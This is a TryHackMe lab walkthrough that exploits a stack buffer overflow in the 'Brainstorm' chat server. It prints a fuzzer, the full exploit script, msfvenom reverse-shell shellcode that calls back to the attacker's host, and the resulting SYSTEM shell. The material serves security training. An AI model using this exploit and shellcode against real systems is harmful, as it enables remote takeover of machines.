Brainstorm Walkthrough - TryHackMe
Brainstorm is a vulnerable Windows machine on TryHackMe. This post will outline the penetration testing methodology used against the target and detail steps on how to successfully exploit the target.
Scanning
Using Nmap, we run a TCP SYN scan along with a UDP scan. The UDP scan comes up empty, but the TCP scan reveals an FTP service and an unknown chat service running on port 9999:
# Nmap 7.92 scan initiated Sun Apr 10 18:25:48 2022 as: nmap -sSV -p- -A -Pn -v -oA tcp-brainstorm 10.10.152.18
Nmap scan report for 10.10.152.18
Host is up (0.043s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
| Welcome to Brainstorm chat (beta)
|_ Please enter your username (max 20 characters): Write a message:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=4/10%Time=6253142D%P=x86_64-pc-linux-gnu%r(DN
SF:SStatusRequestTCP,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\n
SF:Please\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20
SF:Write\x20a\x20message:\x20")%r(Help,63,"Welcome\x20to\x20Brainstorm\x20
SF:chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x2
SF:0characters\):\x20Write\x20a\x20message:\x20")%r(SSLSessionReq,63,"Welc
SF:ome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x2
SF:0username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20
SF:")%r(TerminalServerCookie,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(
SF:beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20character
SF:s\):\x20Write\x20a\x20message:\x20")%r(TLSSessionReq,63,"Welcome\x20to\
SF:x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\
SF:x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(Kerbe
SF:ros,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ente
SF:r\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20
SF:message:\x20")%r(SMBProgNeg,63,"Welcome\x20to\x20Brainstorm\x20chat\x20
SF:\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20charact
SF:ers\):\x20Write\x20a\x20message:\x20")%r(X11Probe,63,"Welcome\x20to\x20
SF:Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20
SF:\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(LPDStrin
SF:g,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\
SF:x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20me
SF:ssage:\x20")%r(LDAPSearchReq,63,"Welcome\x20to\x20Brainstorm\x20chat\x2
SF:0\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20charac
SF:ters\):\x20Write\x20a\x20message:\x20")%r(LDAPBindReq,63,"Welcome\x20to
SF:\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username
SF:\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(SIPO
SF:ptions,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20e
SF:nter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\
SF:x20message:\x20")%r(LANDesk-RC,63,"Welcome\x20to\x20Brainstorm\x20chat\
SF:x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20char
SF:acters\):\x20Write\x20a\x20message:\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|Phone|8.1|7|Vista (90%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 R2 or Windows 8 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.013 days (since Sun Apr 10 18:14:41 2022)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 27.46 ms 10.9.0.1
2 27.73 ms 10.10.152.18
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 10 18:32:43 2022 -- 1 IP address (1 host up) scanned in 415.49 seconds
The output from the scan reveals that the target is most likely running a Windows operating system. The chat service running on port 9999 appears to be a custom application and a good place to test for potential vulnerabilities.
Enumeration
The FTP service appears to allow anonymous logins, so we can start by enumerating accessible files. Brute-forcing usernames and passwords should also be done to identify other potential login credentials.
┌──(kali㉿kali)-[~]
└─$ ftp 10.10.7.78
Connected to 10.10.7.78.
220 Microsoft FTP Service
Name (10.10.7.78:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> passive off
Passive mode: off; fallback to active mode: off.
ftp> binary
200 Type set to I.
ftp> ls
200 EPRT command successful.
125 Data connection already open; Transfer starting.
08-29-19 08:36PM <DIR> chatserver
226 Transfer complete.
ftp> cd chatserver
250 CWD command successful.
ftp> ls
200 EPRT command successful.
125 Data connection already open; Transfer starting.
08-29-19 10:26PM 43747 chatserver.exe
08-29-19 10:27PM 30761 essfunc.dll
226 Transfer complete.
ftp> get chatserver.exe
local: chatserver.exe remote: chatserver.exe
200 EPRT command successful.
125 Data connection already open; Transfer starting.
100% |******************************************************************************************************************| 43747 346.29 KiB/s 00:00 ETA
226 Transfer complete.
43747 bytes received in 00:00 (342.91 KiB/s)
ftp> get essfunc.dll
local: essfunc.dll remote: essfunc.dll
200 EPRT command successful.
150 Opening BINARY mode data connection.
100% |******************************************************************************************************************| 30761 294.63 KiB/s 00:00 ETA
226 Transfer complete.
30761 bytes received in 00:00 (291.18 KiB/s)
ftp> exit
221 Goodbye.
We find two files; a 32-bit executable (chatserver.exe) and a Dynamic-link library (essfunc.dll).
┌──(kali㉿kali)-[~]
└─$ file chatserver.exe
chatserver.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
┌──(kali㉿kali)-[~]
└─$ file essfunc.dll
essfunc.dll: PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
From here we move on to testing and interacting with the service running on port 9999:
┌──(kali㉿kali)-[~]
└─$ nc 10.10.183.213 9999
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): foo
Write a message: Test
Wed Apr 13 14:07:24 2022
foo said: Test
Write a message: Testing
Wed Apr 13 14:07:36 2022
foo said: Testing
Write a message: ^C
Testing the application with various injection attacks fails to reveal any vulnerabilities, but we can also test for appropriate size checking on inputs. We can write a fuzzing Python script for this specific purpose:
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.183.213"
port = 9999
timeout = 5
string = "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string)))
sys.exit(0)
string += 100 * "A"
time.sleep(3)
Fuzzing the application leads to it becoming unresponsive, revealing a DoS vulnerability and the potential for a stack buffer overflow.
...
Fuzzing with 3200 bytes
Fuzzing with 3300 bytes
Fuzzing with 3400 bytes
Fuzzing with 3500 bytes
Fuzzing with 3600 bytes
Fuzzing with 3700 bytes
Fuzzing with 3800 bytes
Fuzzing with 3900 bytes
Fuzzing with 4000 bytes
Fuzzing with 4100 bytes
Fuzzing with 4200 bytes
Fuzzing with 4300 bytes
Fuzzing with 4400 bytes
Fuzzing with 4500 bytes
Fuzzing with 4600 bytes
Fuzzing with 4700 bytes
Fuzzing with 4800 bytes
Fuzzing crashed at 4800 bytes
As we have a copy of the application’s executable — likely to be the same running on the target — we can load it into a debugger and more closely examine its behaviour.
Fuzzing the application again causes it to crash after sending a 6200 byte payload, and with the EIP overwritten by our payload, we confirm the application is indeed vulnerable to a stack buffer overflow!
Vulnerability Assessment
Our enumeration and attacks have revealed a DoS and potential stack buffer overflow vulnerability in the application running on port 9999/TCP of the target. We may be able to successfully exploit this vulnerability and achieve remote code execution to gain a foothold on the target.
Exploitation
Having confirmed a stack buffer overflow vulnerability, we now need to find the exact offset at which the EIP is overwritten. For this, we generate a 6300 byte (or more) pattern set to use as our payload
msf-pattern_create -l 6300 > 6300.txt
We then copy the pattern set into our Python script:
#!/usr/bin/env python3
import sys
import os
import socket
import struct
if len (sys.argv) != 2:
print("[!] Insufficient amount of arguments.")
print(f"[*] Usage: /usr/bin/python3 {sys.argv[0]} <host>")
sys.exit (1)
host = sys.argv[1]
msf = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2..."
buffer = msf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 9999))
s.send(buffer)
s.recv(1024)
s.close()
print("[+] Payload sent.")
We send the payload, and with the application crashing again, the EIP address points to 48367648. We can now identify the exact offset:
┌──(kali㉿kali)-[/mnt/kali-shared/tryhackme/Brainstorm]
└─$ msf-pattern_offset -l 6300 -q 48367648
[*] Exact match at offset 6108
Now that we have the correct offset, we can verify this by updating our Python script, sending 6108 bytes, followed by four ‘C’ characters:
#!/usr/bin/env python3
import sys
import os
import socket
import struct
if len (sys.argv) != 2:
print("[!] Insufficient amount of arguments.")
print(f"[*] Usage: /usr/bin/python3 {sys.argv[0]} <host>")
sys.exit (1)
host = sys.argv[1]
buffer = b"A" * 6108 + b"C* 4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 9999))
s.send(buffer)
s.recv(1024)
s.close()
print("[+] Payload sent.")
The EIP now points to 43434343, the hexadecimal representation of CCCC. This confirms that we have the correct offset.
From here we go through the process of checking for bad characters to avoid in the shellcode we will generate later on. We send all possible characters, from 0x00 to 0xFF, as part of our buffer, and see how the application deals with these characters after the crash. In this case, other than avoiding a null byte (0x00) there are no other bad characters to avoid using in our input buffer.
Our next task is to find a way to redirect the execution flow to the shellcode located at the memory address that the ESP register is pointing to at the time of the crash.
One solution is to leverage a JMP ESP instruction, which ‘jumps’ to the address pointed to by ESP when it executes. If we can find a reliable, static address that contains this instruction, we can redirect EIP to this address and at the time of the crash, the JMP ESP instruction will be executed. This will lead the execution flow into our shellcode.
Many support libraries in Windows contain this commonly-used instruction but we need to find a reference that meets certain criteria. First, the addresses used in the library must be static, which eliminates libraries compiled with ASLR support. Second, the address of the instruction must not contain any previously identified bad characters that would break the exploit, since the address will be part of our input buffer.
Using Immunity Debugger’s ‘Mona’ Python script, we can find such an address.
Examining the output, we see that essfunc.dll suits our needs. Given the likely architecture of the target operating system (x86 or AMD64), the retun address will have to be stored in little-endian format (reverse order) in our buffer for the CPU to interpret it correctly in memory.
Let’s also go ahead and generate our shellcode.
┌──(kali㉿kali)-[/mnt/kali-shared/tryhackme/Brainstorm/files]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.9.167.149 LPORT=443 EXITFUNC=thread -b "\x00" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf = b""
buf += b"\xd9\xc8\xbd\x06\xd2\x5d\xae\xd9\x74\x24\xf4\x5e\x31"
buf += b"\xc9\xb1\x52\x31\x6e\x17\x03\x6e\x17\x83\xc0\xd6\xbf"
buf += b"\x5b\x30\x3e\xbd\xa4\xc8\xbf\xa2\x2d\x2d\x8e\xe2\x4a"
buf += b"\x26\xa1\xd2\x19\x6a\x4e\x98\x4c\x9e\xc5\xec\x58\x91"
buf += b"\x6e\x5a\xbf\x9c\x6f\xf7\x83\xbf\xf3\x0a\xd0\x1f\xcd"
buf += b"\xc4\x25\x5e\x0a\x38\xc7\x32\xc3\x36\x7a\xa2\x60\x02"
buf += b"\x47\x49\x3a\x82\xcf\xae\x8b\xa5\xfe\x61\x87\xff\x20"
buf += b"\x80\x44\x74\x69\x9a\x89\xb1\x23\x11\x79\x4d\xb2\xf3"
buf += b"\xb3\xae\x19\x3a\x7c\x5d\x63\x7b\xbb\xbe\x16\x75\xbf"
buf += b"\x43\x21\x42\xbd\x9f\xa4\x50\x65\x6b\x1e\xbc\x97\xb8"
buf += b"\xf9\x37\x9b\x75\x8d\x1f\xb8\x88\x42\x14\xc4\x01\x65"
buf += b"\xfa\x4c\x51\x42\xde\x15\x01\xeb\x47\xf0\xe4\x14\x97"
buf += b"\x5b\x58\xb1\xdc\x76\x8d\xc8\xbf\x1e\x62\xe1\x3f\xdf"
buf += b"\xec\x72\x4c\xed\xb3\x28\xda\x5d\x3b\xf7\x1d\xa1\x16"
buf += b"\x4f\xb1\x5c\x99\xb0\x98\x9a\xcd\xe0\xb2\x0b\x6e\x6b"
buf += b"\x42\xb3\xbb\x3c\x12\x1b\x14\xfd\xc2\xdb\xc4\x95\x08"
buf += b"\xd4\x3b\x85\x33\x3e\x54\x2c\xce\xa9\x51\xb8\x77\xbc"
buf += b"\x0e\xb8\x77\xbe\x75\x35\x91\xaa\x99\x10\x0a\x43\x03"
buf += b"\x39\xc0\xf2\xcc\x97\xad\x35\x46\x14\x52\xfb\xaf\x51"
buf += b"\x40\x6c\x40\x2c\x3a\x3b\x5f\x9a\x52\xa7\xf2\x41\xa2"
buf += b"\xae\xee\xdd\xf5\xe7\xc1\x17\x93\x15\x7b\x8e\x81\xe7"
buf += b"\x1d\xe9\x01\x3c\xde\xf4\x88\xb1\x5a\xd3\x9a\x0f\x62"
buf += b"\x5f\xce\xdf\x35\x09\xb8\x99\xef\xfb\x12\x70\x43\x52"
buf += b"\xf2\x05\xaf\x65\x84\x09\xfa\x13\x68\xbb\x53\x62\x97"
buf += b"\x74\x34\x62\xe0\x68\xa4\x8d\x3b\x29\xc4\x6f\xe9\x44"
buf += b"\x6d\x36\x78\xe5\xf0\xc9\x57\x2a\x0d\x4a\x5d\xd3\xea"
buf += b"\x52\x14\xd6\xb7\xd4\xc5\xaa\xa8\xb0\xe9\x19\xc8\x90"
We now have everything we need to update our Python script before sending our reverse shell paylod to the target. We also create a NOP sled to act as a wide landing pad for our JMP ESP, so that when execution lands anywhere on this pad, it will continue on to our payload.
#!/usr/bin/env python3
import sys
import os
import socket
import struct
if len (sys.argv) != 2:
print("[!] Insufficient amount of arguments.")
print(f"[*] Usage: /usr/bin/python3 {sys.argv[0]} <host>")
sys.exit (1)
host = sys.argv[1]
push_esp_ret = struct.pack("<I", 0x625014DF)
buf = b""
buf += b"\xd9\xc8\xbd\x06\xd2\x5d\xae\xd9\x74\x24\xf4\x5e\x31"
buf += b"\xc9\xb1\x52\x31\x6e\x17\x03\x6e\x17\x83\xc0\xd6\xbf"
buf += b"\x5b\x30\x3e\xbd\xa4\xc8\xbf\xa2\x2d\x2d\x8e\xe2\x4a"
buf += b"\x26\xa1\xd2\x19\x6a\x4e\x98\x4c\x9e\xc5\xec\x58\x91"
buf += b"\x6e\x5a\xbf\x9c\x6f\xf7\x83\xbf\xf3\x0a\xd0\x1f\xcd"
buf += b"\xc4\x25\x5e\x0a\x38\xc7\x32\xc3\x36\x7a\xa2\x60\x02"
buf += b"\x47\x49\x3a\x82\xcf\xae\x8b\xa5\xfe\x61\x87\xff\x20"
buf += b"\x80\x44\x74\x69\x9a\x89\xb1\x23\x11\x79\x4d\xb2\xf3"
buf += b"\xb3\xae\x19\x3a\x7c\x5d\x63\x7b\xbb\xbe\x16\x75\xbf"
buf += b"\x43\x21\x42\xbd\x9f\xa4\x50\x65\x6b\x1e\xbc\x97\xb8"
buf += b"\xf9\x37\x9b\x75\x8d\x1f\xb8\x88\x42\x14\xc4\x01\x65"
buf += b"\xfa\x4c\x51\x42\xde\x15\x01\xeb\x47\xf0\xe4\x14\x97"
buf += b"\x5b\x58\xb1\xdc\x76\x8d\xc8\xbf\x1e\x62\xe1\x3f\xdf"
buf += b"\xec\x72\x4c\xed\xb3\x28\xda\x5d\x3b\xf7\x1d\xa1\x16"
buf += b"\x4f\xb1\x5c\x99\xb0\x98\x9a\xcd\xe0\xb2\x0b\x6e\x6b"
buf += b"\x42\xb3\xbb\x3c\x12\x1b\x14\xfd\xc2\xdb\xc4\x95\x08"
buf += b"\xd4\x3b\x85\x33\x3e\x54\x2c\xce\xa9\x51\xb8\x77\xbc"
buf += b"\x0e\xb8\x77\xbe\x75\x35\x91\xaa\x99\x10\x0a\x43\x03"
buf += b"\x39\xc0\xf2\xcc\x97\xad\x35\x46\x14\x52\xfb\xaf\x51"
buf += b"\x40\x6c\x40\x2c\x3a\x3b\x5f\x9a\x52\xa7\xf2\x41\xa2"
buf += b"\xae\xee\xdd\xf5\xe7\xc1\x17\x93\x15\x7b\x8e\x81\xe7"
buf += b"\x1d\xe9\x01\x3c\xde\xf4\x88\xb1\x5a\xd3\x9a\x0f\x62"
buf += b"\x5f\xce\xdf\x35\x09\xb8\x99\xef\xfb\x12\x70\x43\x52"
buf += b"\xf2\x05\xaf\x65\x84\x09\xfa\x13\x68\xbb\x53\x62\x97"
buf += b"\x74\x34\x62\xe0\x68\xa4\x8d\x3b\x29\xc4\x6f\xe9\x44"
buf += b"\x6d\x36\x78\xe5\xf0\xc9\x57\x2a\x0d\x4a\x5d\xd3\xea"
buf += b"\x52\x14\xd6\xb7\xd4\xc5\xaa\xa8\xb0\xe9\x19\xc8\x90"
nops = b"\x90" * 16
buffer = b"A" * 6108 + push_esp_ret + nops + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 9999))
s.send(buffer)
s.recv(1024)
s.close()
print("[+] Payload sent.")
In anticipation of the reverse shell payload, we configure a Netcat listener on port 443 on our attacking machine and execute the exploit script.
└─$ sudo nc -nlvp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [10.9.167.149] from (UNKNOWN) [10.10.204.34] 49359
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
The exploit works and we have an NT AUTHORITY\System shell on the target with unrestricted access to all local system resources. From here, we can continue with post-exploitation enumeration.
Remediation
There should be a review of all code that accepts input from users to ensure that it provides appropriate size checking on all such inputs.
The OS and applications also need to be patched and updated to the latest versions where possible, so as to mitigate the risk of other potential exploits.
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.